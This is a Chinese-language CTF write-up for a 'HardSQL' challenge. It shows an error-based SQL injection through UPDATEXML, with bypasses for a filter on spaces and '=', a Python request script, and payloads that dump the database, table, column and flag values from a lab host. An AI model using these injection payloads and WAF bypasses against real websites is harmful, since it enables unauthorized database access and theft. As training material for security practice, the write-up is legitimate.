HardSQL

fuzz一下,发现相对之前的EasySQL,多了几个关键字符的过滤,其中还有对于空格字符的过滤,注释语句在WAF中也被过滤了。

尝试报错注入,先写报错语句模板:

sql = "admin%27or(UPDATEXML(1,CONCAT(0x7e,{},0x7e),1))%23".format(p)

对于关键处的过滤,采取两种绕过方式:

  • 对变量的空格使用()替代。

  • 对=处使用like()语句代替。

上SQL注入脚本:

import requests

# p语句为要执行注入的命令
sql = "admin%27or(UPDATEXML(1,concat(0x7e,{},0x7e),1))%23".format(p)
print(sql)


url = "http://640faddd-30eb-4d14-9cc0-4ff5880dbbcd.node3.buuoj.cn/check.php?username={}&password=123123".format(sql)

payload = {}
headers = {}

response = requests.request("GET", url, headers=headers, data=payload)

print(response.text.encode('utf8'))

p语句修改为我们要使用的注入语句,注意不能使用空格。

读数据库:

p = "(SELECT(database()))"

读表:

p = "(SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)LIKE('geek'))"

读字段:

p = "(SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)LIKE('H4rDsq1'))"

读字段内容:

p = "(SELECT(password)FROM(geek.H4rDsq1))"

flag超出字段长度,修改一下重新读取后半段。

p = "(SELECT(right(password,32))FROM(geek.H4rDsq1))"

Last updated